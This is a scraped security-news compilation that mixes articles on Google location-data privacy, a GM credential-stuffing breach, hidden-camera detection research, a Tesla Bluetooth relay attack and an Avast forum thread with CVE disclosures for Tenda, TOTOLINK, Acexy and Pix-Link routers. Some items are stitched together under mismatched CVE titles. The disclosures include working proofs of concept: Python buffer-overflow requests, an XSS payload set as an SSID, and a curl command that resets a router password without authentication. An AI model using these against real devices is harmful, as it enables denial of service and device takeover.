Lawmakers argue Android phone data could be “weaponized against women” if the US Supreme Court officially overturns abortion protections.

More than 40 Democratic members of Congress called on Google to stop collecting and retaining customer location data that prosecutors could use to identify women who obtain abortions.

“We are concerned that, in a world in which abortion could be made illegal, Google’s current practice of collecting and retaining extensive records of cell phone location data will allow it to become a tool for far-right extremists looking to crack down on people seeking reproductive health care. That’s because Google stores historical location information about hundreds of millions of smartphone users, which it routinely shares with government agencies,” Democrats wrote May 24 in a letter led by Senator Ron Wyden (D-Ore.) and Rep. Anna Eshoo (D-Calif.). The letter was sent to Google CEO Sundar Pichai.

Specifically, Google should stop collecting “unnecessary customer location data” or “any non-aggregate location data about individual customers, whether in identifiable or anonymized form. Google cannot allow its online advertising-focused digital infrastructure to be weaponized against women,” lawmakers wrote. They also told Google that people who use iPhones “have greater privacy from government surveillance of their movements than the tens of millions of Americans using Android devices.”

The draft Supreme Court ruling overturning _Roe v. Wade_ could be followed by strict limits or bans on abortion in many states, and Democrats wrote that “Republicans in Congress are already discussing passing a law criminalizing abortion in all 50 states, putting the government in control of women’s bodies.”

Location Data From Android Phones

In their letter, Democrats told Pichai:

_While Google deserves credit for being one of the first companies in America to insist on a warrant before disclosing location data to law enforcement, that is not enough. If abortion is made illegal by the far-right Supreme Court and Republican lawmakers, it is inevitable that right-wing prosecutors will obtain legal warrants to hunt down, prosecute, and jail women for obtaining critical reproductive health care. The only way to protect your customers’ location data from such outrageous government surveillance is to not keep it in the first place._

Google obtains detailed information “from Android smartphones, which collect and transmit location information to Google, regardless of whether the phone is being used or which app a user has open,” they wrote. While Android users have to opt into this data collection, “Google has designed its Android operating system so that consumers can only enable third party apps to access location data if they also allow Google to receive their location data too. In contrast, Google is only able to collect location data from users of iPhones when they are using the Google Maps app,” the lawmakers wrote.

We contacted Google about the letter yesterday and will update this article if we get a response.

Exactly how Google’s location privacy settings work has been a matter of confusion, even for some Google employees. As we wrote in August 2020, documents from a consumer fraud suit the state of Arizona filed against Google “show that company employees knew and discussed among themselves that the company’s location privacy settings were confusing and potentially misleading.”

Democrats Say iPhone Users Have More Privacy

Because many of the cheaper smartphones use Android, the lawmakers warned of a “digital divide” affecting the privacy of people with low incomes:

_No law requires Google to collect and keep records of its customers’ every movement. Apple has shown that it is not necessary for smartphone companies to retain invasive tracking databases of their customers’ locations. Google’s intentional choice to do so is creating a new digital divide, in which privacy and security are made a luxury. Americans who can afford an iPhone have greater privacy from government surveillance of their movements than the tens of millions of Americans using Android devices._

While Google uses location data to target online ads, the company often turns over the data to law enforcement officials who obtain court orders, the Democrats wrote. “This includes dragnet ‘geofence’ orders demanding data about everyone who was near a particular location at a given time,” they wrote, adding that “Google received 11,554 geofence warrants in 2020.”

iPhones also use location services, though the lawmakers seem to be satisfied with Apple’s privacy promises. Among other things, Apple says that if location services are turned on, geo-tagged locations of nearby Wi-Fi hotspots and cell towers are sent “in an anonymous and encrypted form to Apple” to augment a “crowd-sourced database of Wi-Fi hotspot and cell tower locations.”

With the Find My feature that can locate lost devices, Apple says it “retains location information and makes it accessible to you for 24 hours, after which it is deleted” and that “device location services information is stored on each individual device and Apple cannot retrieve this information from any specific device.”

Post-_Roe_ State Abortion Laws

Assuming the Supreme Court overturns _Roe v. Wade_, there could be more state laws like the recently enacted Texas Heartbeat Act that bans abortions after it’s possible to detect a “fetal heartbeat.” The law defines that as “cardiac activity or the steady and repetitive rhythmic contraction of the fetal heart within the gestational sac.” This effectively bans abortions after six weeks, and the state law lets private citizens file lawsuits to obtain injunctions and damages of at least $10,000 per abortion.

These lawsuits could be filed against anyone who “performs or induces an abortion” that violates the Texas Heartbeat Act or anyone who “knowingly engages in conduct that aids or abets” an abortion after a fetal heartbeat is detected. Aiding or abetting includes “paying for or reimbursing the costs of an abortion through insurance or otherwise, if the abortion is performed or induced in violation of this subchapter.” Civil suits can also be filed against anyone who “intends to engage in the conduct” described in the law.

The Texas law doesn’t allow the exact scenario Democrats warned of in their letter, that prosecutors could jail women who obtain abortions. But states would have more leeway to enact stricter anti-abortion laws or bans after lifting _Roe v. Wade_.

The Guttmacher Institute, a pro-choice research group, says that “26 states are certain or likely to ban abortion without _Roe_.” Many of these states have laws that were enacted before the 1973 _Roe v. Wade_ decision and never removed, laws that were enacted after _Roe_ but currently blocked by court order, or “trigger” bans that would “take effect automatically or by quick state action if _Roe_ no longer applies.”

_This story originally appeared on_ _Ars Technica__._

Google Urged to Stop Tracking Location Data Ahead of Roe Reversal

Tenda AC Series Router AC18_V15.03.05.19(6318) was discovered to contain a stack-based buffer overflow in the httpd module when handling /goform/WifiExtraSet request.

**Tenda Router AC18 Vulnerability**

This vulnerability lies in the /goform/WifiExtraSet page which influences the lastest version of Tenda Router AC18. (The latest version is AC18\_V15.03.05.19(6318))

**Vulnerability Description**

There is a **stack-based buffer overflow** vulnerability in function fromSetWirelessRepeat.

In function fromSetWirelessRepeat it reads user provided parameter wpapsk_crypto into victim_buf, and this variable is passed into function strcpy without any length check, which may overflow the stack-based buffer vuln_buf.

So by requesting the page /goform/WifiExtraSet, the attacker can easily perform a **Deny of Service Attack**.

**PoC**

import requests

IP \= "10.10.10.1"
url \= f"http://{IP}/goform/WifiExtraSet?"
url += "wl\_mode=not\_ap&security=wpapsk&wpapsk\_key=kkkkkkkk&wpapsk\_crypto=" + "s" \* 0x600

response \= requests.get(url)

**Timeline**

*   2022-05-07: Report to CVE & CNVD;
*   2022-05-26: CVE ID assigned (CVE-2022-30475)

**Acknowledge**

Credit to @peanuts and @cylin from IIE, CAS.

CVE-2022-30475: VulnRepo/IoT/Tenda/3 at master · lcyfrank/VulnRepo

Tenda AC Series Router AC18_V15.03.05.19(6318) has a stack-based buffer overflow vulnerability in function form_fast_setting_wifi_set

**Tenda Router AC18 Vulnerability**

This vulnerability lies in the /goform/fast_setting_wifi_set page which influences the lastest version of Tenda Router AC18. (The latest version is AC18\_V15.03.05.19(6318))

**Vulnerability Description**

There is a **stack-based buffer overflow** vulnerability in function form_fast_setting_wifi_set.

In function form_fast_setting_wifi_set it reads user provided parameter ssid into src, and this variable is passed into function strcpy without any length check, which may overflow the stack-based buffer s.

So by requesting the page /goform/fast_setting_wifi_set, the attacker can easily perform a **Deny of Service Attack**.

**PoC**

import requests

IP \= "10.10.10.1"
url \= f"http://{IP}/goform/fast\_setting\_wifi\_set?"
url += "ssid=" + "s" \* 100

response \= requests.get(url)

**Timeline**

*   2022-05-06: Report to CVE & CNVD;
*   2022-05-26: CVE ID assigned (CVE-2022-30473)

**Acknowledge**

Credit to @peanuts and @cylin from IIE, CAS.

CVE-2022-30473: VulnRepo/IoT/Tenda/2 at master · lcyfrank/VulnRepo

A group of academics has devised a system that can be used on a phone or a laptop to identify and locate Wi-Fi-connected hidden IoT devices in unfamiliar physical spaces.
With hidden cameras being increasingly used to snoop on individuals in hotel rooms and Airbnbs, the goal is to be able to pinpoint such rogue devices without much of a hassle.
The system, dubbed Lumos, is designed with this

A group of academics has devised a system that can be used on a phone or a laptop to identify and locate Wi-Fi-connected hidden IoT devices in unfamiliar physical spaces.

With hidden cameras being increasingly used to snoop on individuals in hotel rooms and Airbnbs, the goal is to be able to pinpoint such rogue devices without much of a hassle.

The system, dubbed **Lumos**, is designed with this intent in mind and to "visualize their presence using an augmented reality interface," said Rahul Anand Sharma, Elahe Soltanaghaei, Anthony Rowe, and Vyas Sekar of Carnegie Mellon University in a new paper.

At its core, the platform works by snuffing and collecting encrypted wireless packets over the air to detect and identify concealed devices. Subsequently, it estimates the location of each identified device with respect to the user as they walk around the perimeter of the space.

The localization module, for its part, combines signal strength measurements that are available in 802.11 packets (aka Received Signal Strength Indicator or RSSI) with relative user position determined by visual inertial odometry (VIO) information on mobile phones.

On Apple's iOS devices, for instance, the positional tracking is achieved by means of ARKit, a developer API that makes it possible to build augmented reality experiences by taking advantage of the phone's camera, CPU, GPU, and motion sensors.

"As the user walks closer to each device, the RSSI values corresponding to those data points increase and then reduce as she walks away from the device," the researchers said. "Lumos leverages the spatial measurements of RSSI values and their variations to estimate the location of each device."

What's more, Lumos can localize IoT devices irrespective of the user's walking speed. Also incorporated is a fingerprinting module that analyzes the captured 802.11 traffic patterns using a machine learning model to identify the devices based on the MAC addresses.

The research evaluated Lumos across 44 different IoT devices spanning various types, models, and brands across six different environments, finding that it can identify hidden devices with 95% accuracy and locate them with a median error of 1.5m within 30 minutes in a two-bedroom, 1000 sq.ft. apartment.

That said, an advanced attacker can leverage techniques like MAC address randomization to evade detection and sidestep localization by arbitrarily modifying the devices' transmit power.

"Lumos can potentially generalize across different device brands and models, as long as it has seen at least one device with similar behavior in the training phase," the researchers said, pointing to how the system can even identify unprofiled devices.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Lumos System Can Find Hidden Cameras and IoT Devices in Your Airbnb or Hotel Room

US car producer General Motors says its Rewards platform was the victim of a credential stuffing attack last month.
The post General Motors suffers credential stuffing attack appeared first on Malwarebytes Labs.

American car manufacturer General Motors (GM) says it experienced a credential stuffing attack last month. During the attack customer information and reward points were stolen.

The subject of the attack was an online platform, run by GM, to help owners of Chevrolet, Buick, GMC, and Cadillac vehicles to manage their bills, services, and redeem rewards points.

**Credential stuffing**

Credential stuffing is a special type of brute force attack where the attacker uses existing username and password combinations, usually ones that were stolen in a data breach on another service.

The intention of such an attack is not to take over the website or platform, but merely to get as many valid user account credentials and use that access to commit fraud, or sell the valid credentials to other criminals.

To stop a target from just blocking their IP address, an attacker will typically use rotating proxies. A rotating proxy is a proxy server that assigns a new IP address from the proxy pool for every connection.

**The attack**

GM disclosed that it detected the malicious login activity between April 11 and April 29, 2022, and confirmed that the threat actors exchanged customer reward bonuses of some customers for gift certificates.

The My GM Rewards program allows members to earn and redeem points toward buying or leasing a new GM vehicle, as well as for parts, accessories, paid Certified Service, and select OnStar and Connected Services plans.

GM says it immediately investigated the issue and notified affected customers of the issues.

**Victims**

GM contacted victims of the breach, advising them to follow instructions to recover their GM account. GM is also forcing affected users to reset their passwords before logging in to their accounts again. In the notification for affected customers, GM said it will be restoring rewards points for all customers affected by this breach.

GM specifically pointed out that the credentials used in the attack did not come from GM itself.

> “Based on the investigation to date, there is no evidence that the log in information was obtained from GM itself. We believe that unauthorized parties gained access to customer login credentials that were previously compromised on other non-GM sites and then reused those credentials on the customer’s GM account.”

**Stolen information**

Attackers could have accessed the following Personally Identifiable Information (PII) of a compromised user:

*   First and last name
*   Email address
*   Physical address
*   Username and phone number for registered family members tied to the account
*   Last known and saved favorite location information
*   Search and destination information

Other information that was available was car mileage history, service history, emergency contacts, Wi-Fi hotspot settings (including passwords), and currently subscribed OnStar package (if applicable).

GM is offering credit monitoring for a year.

**Mitigation**

What could GM have done to prevent the attack? It doesn’t currently offer multi-factor authentication (MFA)which would have stopped the attackers from gaining access to the accounts. GM does ask customers to add a PIN for all purchases.

This incident demonstrates how dangerous it is to re-use your passwords for sites, services and platforms. Even if the account doesn’t seem that important to you, the information obtainable by accessing the account could very well be something you wish to keep private.

Always use a different password for every service you use, and consider using a password manager to store them all. You can read some more of our tips on passwords in our blog dedicated to World Password Day.

Stay safe, everyone!

General Motors suffers credential stuffing attack

Totolink A3600R V4.1.2cu.5182_B20201102 was discovered to contain a stacker overflow in the fread function at infostat.cgi. This vulnerability allows attackers to cause a Denial of Service (DoS) via the parameter CONTENT_LENGTH.

Affect device: TOTOLink WiFi Router A3600R V4.1.2cu.5182\_B20201102 (http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=63&ids=36)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

The stack overflow vulnerability is in the in the fread function in the infostat.cgi

 We can see that stdin is obtained directly from the http request parameter .Then they will be spliced to stack by function fread without any security check,which causes stack overflow.

This vulnerability allows attackers to perform a Denial of Service(DoS) via the CONTENT_LENGTH parameter by POST the page /cgi-bin/infostat.cgi with long Code

**POC**

import requests
data \= {'a':'a'\*0x4000}
res \= requests.post("http://11.11.11.2/cgi-bin/infostat.cgi", data\=data)
print(res.content)

CVE-2022-29377: iot-cve/totolink/a3600r at master · molezsbd/iot-cve

Pix-Link MiNi Router 28K.MiniRouter.20190211 was discovered to contain a stored cross-site scripting (XSS) vulnerability due to an unsanitized Security Key parameter.

Security analysis of some low-cost WiFi Repeaters

Many of us have had to choose a WiFi repeater to extend the wireless coverage of home routers. Nowadays, such device types are spreading fast and sometimes low-cost and poorly configured ones might severely harm the security and privacy of your home network, including devices commonly attached to it.

The problem is exacerbated by the huge amount of vendors selling these devices at quite low prices, which render them the most attractive choice for majority of the people. However, what most people should be aware of is that their low-cost devices might lead to… well.. other kind of costs!  
Unfortunately, sometimes these costs may be higher than if you had chosen a different, more expensive device.

_Why_ these devices?

*   They are not _too_ expensive (about 15€).  
    Thus, they are the most attractive choice for less-aware customers.
*   They are among the very first results provided by Amazon (not just the Italian version) when you search for keywords like “WiFi Repeater/Extender”.
*   At the time of writing, the second device was considered an Amazon’s Choice (Amazon IT). Therefore, most likely, many of them have already been sold.

The following sections summarize the vulnerabilities I found as a result of my analysis. The next section will briefly discuss, for each device analyzed, the vulnerabilities with an assigned CVE ID I’ve been able to found as well as other minor security-related issues affecting the involved devices.

To fix such vulnerabilities you should update your device’s firmware to the latest available version but sometimes, with poorly configured firmwares (perhaps bugs?!), you won’t even be allowed to download software updates, leaving you with only two choices: either you stay vulnerable or you replace the device at all.

Device (**1/3**): Acexy Wireless-N WiFi Repeater REV 1.0  
Firmware: 28.08.06.1

****CVE-2021–28160 — SSID Reflected XSS****

As with every WiFi Repeater, you have to choose the wireless network which range you wish to extend, providing the password (if any) of its wireless AP.

The page shown above, “/repeater.html”, allows to select the network and displays the available wireless APs without applying any kind of sanitization on the data included into the HTML page, which is rendered by the browser.

Therefore, by modifying the SSID of a wireless network such as the following you can achieve JavaScript code executed every time a user visit the page _repeater.html_ or, more in general, when a user just click on the “Repeater Wizard” section on the homepage.

<img src=no onerror=alert(1) foo

**CVE-2021–28936— Improper Access Control on password reset requests**

An Improper Access Control (CWE-284) vulnerability allows any device to change the Web management interface password by sending just one specially crafted HTTP GET request, without requiring any previous authentication.

In order to exploit the vulnerability you need to know the current management interface account name (by default**_,_** it is **_admin_**).  
The following curl command change the management interface password to “_mystrongpass123_”, assuming the account name is _admin_ and the IP address of the device is the default one (192.168.10.1).

curl -i -s -o /dev/null -w "%{http\_code}" -k -X $'GET' \\  
    -H $'Host: 192.168.10.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: \*/\*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Connection: close' -H $'Referer: http://192.168.10.1/password.html' -H $'Content-Length: 4' \\  
    --data-binary $'\\x0d\\x0a\\x0d\\x0a' \\  
    $'**http://192.168.10.1/login.htm**?CMD=SYS&GO=login.htm&SET0=18416128=en&SET1=17498624=**admin**&SET2=16843264=**mystrongpass123**&rd=0.7548039925199851&\_=1615725324336'

Once the request is handled successfully, just try to login with the password you provided earlier.

**CVE-2021–28937— Plaintext password reflected in /password.html page**

The web management interface password is included in the /_password.html_ HTML page, which contains a form for changing the username and the password.

To exploit this vulnerability just visit the URL _http://192.168.10.1/password.html_ and inspect the returned HTML element with any browser you prefer.

This kind of password disclosure also implies the device stores the password as a plaintext, without computing any hash value.

**Others**

*   HTTPS is never used and HTTP traffic can be easily intercepted on a LAN.

Username and password are sent unencrypted during authentication and, additionally, every time you visit _/password.html_ you give to a potential attacker the chance to read your current username and password (both included in the HTML document).

*   Telnet service listening on port 23.

The default username is easy to guess (**_admin_**) but the password is not among the most trivial or common ones. I didn’t manage to guess the password though you might be luckier, or just better than me at generating password lists.

**Device** (**2/3**): SOOTEWAY Wi-Fi Range Extender V1.5  
Firmware: apparently no firmware updates  
Arch: MIPS

**CVE-2021–30028 — Weak credentials lead to remote firmware read/write/erasure**

The device shown above also has some vulnerabilities.  
In particular, a Telnet service is listening on port 23 and default credentials are among the most common ones (**admin**:**admin**). However, what is worse is that after the login succeeds, the service provides a complete set of instructions that allows a potential adversary to do literally anything with your WiFi Repeater. He might be able to modify the device configuration like changing the repeater password, modify CPU registers values and even flash/overwrite the firmware. All of these can be done remotely.

For instance, it would be possible to compromise the device forever, overwriting part of the firmware and preventing the factory reset. The following two screenshots show the things an attacker would have access to and also one way he could stop the correct functioning of the device _permanently_.

From this moment on, the WiFi Repeater becomes literally useless and must be replaced. Finally, it appears that no firmware update is foreseen, therefore you should either buy a new device or keep your vulnerable one as it was mentioned initially.

**Device** (**3/3**): Pix-Link MiNi Router  
Firmware: v28K.MiniRouter.20190211

The firmware installed on this device also does not sanitize user-supplied input. This led to the discovery of two stored XSS vulnerabilities (**CVE-2021–43728** and **CVE-2021–43729**) affecting the SSID and wireless security key values respectively.

To replicate the simple XSS _alert_ POC just intercept the request sent when you _Apply_ changes from _Advance>Wireless_ setting page through a proxy (e.g. Burp community will suffice). Note that intercept/modify is required to overcome the character limitation.

Once our crafted value is set it will be enough to visit the extender home page to trigger the JS alert as depicted by the next screenshot.

Regarding the second issue (CVE-2021–43729):  
\- Enter your XSS payload in the same Wireless setting page mentioned above  
\- Apply changes

Then just connect back to the WiFi extender providing the payload itself as password. The JS alert will spawn as soon as the home page is visited:

**Conclusion**

When a software/hardware device, or a product in general, is sold at much lower prices than others there are usually reasons. Such reasons may vary, including bad implementation choices, less development or testing effort and security vulnerabilities too. However, since even the most expensive devices might be vulnerable you should (at least) try to choose wisely when it comes to your home network security.

There are plenty more expensive WiFi extenders I might suggest, such as this one by TP-Link. However, I’d like to avoid so since even that one has an interesting client-side encryption which should be reversed to see what it’s intended to hide :)

CVE-2021-43729: Hunting for Vulnerabilities in Low-Cost WiFi Repeaters

Foxit PDF Editor v11.3.1 was discovered to contain an arbitrary file upload vulnerability.

CVE-2022-28104: Security Bulletins | Foxit Software

An arbitrary file write vulnerability in Avast Premium Security before v21.11.2500 (build 21.11.6809.528) allows attackers to cause a Denial of Service (DoS) via a crafted DLL file.

** Topic: NEW Avast Version 22.1 (January 2022)  (Read 9757 times)**

0 Members and 1 Guest are viewing this topic.

Hi, all. Please welcome the newest version of **Avast AV: 22.1** (22.1.2504)

_Notable improvements in the release:_

*   **Wi-Fi Inspector Password Hints** - Wi-Fi Inspector can now recommend more secure passwords for your home network
*   **Firewall improvements in the UI** - We've re-ordered the Firewall Tabs inside the interface
*   **Boot Time Scan Results** - You'll notice how from now on you get actual results from scans even after reboots

_Some bugfixes we worked on:_

*   Rootkit driver BSOD was fixed
*   User Interface password now works fine, doesn't get removed after update
*   And many more...

The first release of the year! Thank you to our team for the great effort!  
**How to install:**  
1\. Update from your existing Avast version via Settings -> Update -> Update program  
2\. Or you can download and install files:  
_Online installers (recommended):_

*   Free: https://bits.avcdn.net/insttype\_FREE
*   Premium Security: https://bits.avcdn.net/insttype\_APR

_Offline installers:_

*   Free: https://files.avast.com/iavs9x/avast\_free\_antivirus\_setup\_offline.exe
*   Premium Security: https://files.avast.com/iavs9x/avast\_premier\_antivirus\_setup\_offline.exe

(In case the hyperlink here wouldn't work in your browser, just paste and copy the URL to the browser address bar)

« _Last Edit: February 09, 2022, 06:48:17 AM by Karel Šťavík_ »

 Logged

Appreciate mentioning me in the changelog for firewall. I didn't expect that to happen yet my name was there.  I also appreciate devs still care about user input. Still a very rare trait in the software industry, especially from very big companies.

 Logged

Thanks, spreading the news... 

 Logged

Win 8.1 \[x64\] - Avast PremSec 22.5.7216.B \[UI.706\] - Firefox ESR 91.9 \[NS/uBO/PB\] - Thunderbird 91.9.0  
Avast-Tools: Secure Browser 101.0 - Cleanup 22.2 - SecureLine 5.18 - Driver Updater 22.2 - CCleaner 6.0  
Avast Wissenswertes (Downloads, Anleitungen & Infos): https://forum.avast.com/index.php?topic=60523.0

Thanks for the new release 

 Logged

**Main:** Win10 Pro 21H2 64bit / Core i5-7400 3.0GHz / 16GB RAM / Avast 22 Premium _**Beta(Icarus)**_ / Comodo Firewall (testing again)  
**Mobile:** Win10 Pro 21H1 64bit / Core i5-3340M 2.7GHz / 8GB RAM / Avast 21 Free / Windows Firewall Control

**Avast の設定について解説しています。**よろしければご覧ください。

Just checking, version number is "lower" (21.10.2504) than the 21.11 release (21.11.2500) ?

 Logged

> Just checking, version number is "lower" (21.10.2504) than the 21.11 release (21.11.2500) ?  

Update

 Logged

> > Just checking, version number is "lower" (21.10.2504) than the 21.11 release (21.11.2500) ?  
> 
> Update  

Looks like the "version" should be Avast AV: 22.1 (22.1.6921).

\-dwh

 Logged

> Appreciate mentioning me in the changelog for firewall. I didn't expect that to happen yet my name was there.  I also appreciate devs still care about user input. Still a very rare trait in the software industry, especially from very big companies.  

Avast shows enlightened self-interest and respect by taking note of the obervations of users.  Not to do so shows contempt for users.  To ignore users' views is tantamount to cutting off their own noses to spite their faces.  I wander off the Avast path from time to time.  The experience of that makes me respect Avast all the more.  The little popups are a price well worth paying.

 Logged

Windows 10 Pro x64, Avast Free 22.3.6008, Malwarebytes Anti-Exploit, Malwarebytes Anti-Ransomware

The free version doesn't have a firewall does it?

 Logged

 Logged

> The free version doesn't have a firewall does it?  

On Avast Free Antivirus (not Avast One Essentials), No it isn't, the two products are different.   
Don't I recall you trying Avast One and going back  ?

 Logged

Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.2.6003 (build 22.2.7013.717) UI 1.0.697/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

There's **Avast Free** and then there is  
**Avast One Essential**  
Both a free but different products.

 Logged

> The free version doesn't have a firewall does it?  

Hi, it does (since a few months).

 Logged

Win 8.1 \[x64\] - Avast PremSec 22.5.7216.B \[UI.706\] - Firefox ESR 91.9 \[NS/uBO/PB\] - Thunderbird 91.9.0  
Avast-Tools: Secure Browser 101.0 - Cleanup 22.2 - SecureLine 5.18 - Driver Updater 22.2 - CCleaner 6.0  
Avast Wissenswertes (Downloads, Anleitungen & Infos): https://forum.avast.com/index.php?topic=60523.0

> > The free version doesn't have a firewall does it?  
> 
> Hi, it does (since a few months).  

It isn't installed by default, but can be downloaded from the UI (I'm still on version 21.11.xxxx). 

Though I guess from a clean install it would be unless you didn't opt for a custom install.

 Logged

Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.2.6003 (build 22.2.7013.717) UI 1.0.697/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

It's an option that needs to be selected in a custom install  
as explained here: https://youtu.be/IxozZFC9XRk  
You can also select it later by using the option in  
troubleshooting to modify what you've installed.

 Logged

CVE-2022-28964: NEW Avast Version 22.1 (January 2022)

By Deeba Ahmed
Research reveals that cars, homes, and personal data of those depending on Bluetooth proximity authentication mechanisms to protect…
This is a post from HackRead.com Read the original post: Attackers Can Unlock Tesla Cars and Smart Devices by Exploiting Bluetooth Flaws

Research reveals that cars, homes, and personal data of those depending on Bluetooth proximity authentication mechanisms to protect their smart devices are at risk.

The IT security researchers at Manchester, England-based NCC Group have revealed startling details of a Bluetooth hack affecting Tesla Model 3 and Y. It is worth noting that although vehicles from different automotive companies are at risk since Tesla is the talk of the town, the researchers singled out the company mainly to demonstrate the extent of the issue.

The exploit is specifically linked to Bluetooth Low Energy (BLE). Consequently, it impacts all those devices/vehicles that utilize it.

**Attack Scenario**

According to NCC Group’s technical advisory published on May 15th, the attack involves relaying the BLE signals from a smartphone already paired with a Tesla. Researchers revealed that this hack allows an attacker to unlock the vehicle door, start it and drive away.

For your information, BLE is a standard protocol used to share data between devices. This protocol is used in vehicles for proximity authentication for unlocking locks. Apart from vehicle locks, it is also used in residential smart locks, smartphone unlocking, commercial building control systems, laptops, smartwatches, etc.

In its blog post published on May 16th, NCC Group’s revealed that,

> “We’ve conducted the world’s first link-layer relay attack on Bluetooth Low Energy (BLE), the standard protocol used for sharing data between devices that have been adopted by companies for proximity authentication to unlock millions of vehicles, residential smart locks, commercial building access control systems, smartphones, smartwatches, laptops and more.”

> “Our research shows that systems that people rely on to guard their cars, homes, and private data are using Bluetooth proximity authentication mechanisms that can be easily broken with cheap off-the-shelf hardware — in effect, a car can be hacked from the other side of the world.”

> “Cars with automotive keyless entry – an attacker can unlock, start and drive a vehicle. NCC Group has confirmed and disclosed a successful exploit of this for Tesla Models 3 and Y (over 2 million of which have been sold).”

**How does it Work?**

What actually happens is that the paired smartphone must be nearby the Tesla vehicle to unlock it. NCC researchers placed a gadget close to the paired smartphone and another close to the car. The phone’s gadget relayed signals to the car’s gadget from the phone’s side, and these signals were then forwarded to the car to unlock and start it, which should never happen since the car and the phone are far apart.

Researchers stated that an attacker could easily unlock a Tesla using a relay gadget if they are standing close to the victim using this technique. The gadget would relay signals from the victim’s phone to the Tesla parked outside, and another attacker would use the other gadget to receive the signals, unlock the car and drive it away.

**More Tesla, Inc. Security News**

1.  Tesla autopilot feature hacked to risk oncoming traffic
2.  Sensitive user data found in Tesla car parts sold on eBay
3.  Researchers found another way to hack Tesla Model X Key Fob
4.  Tesla cars can be remotely hacked using a drone and WIFI dongle
5.  3rd-party flaws allowed a teen hacker to track the location of Tesla cars

**_Did you enjoy reading this article? Do like our page on Facebook and follow us on Twitter._**

Tag

#wifi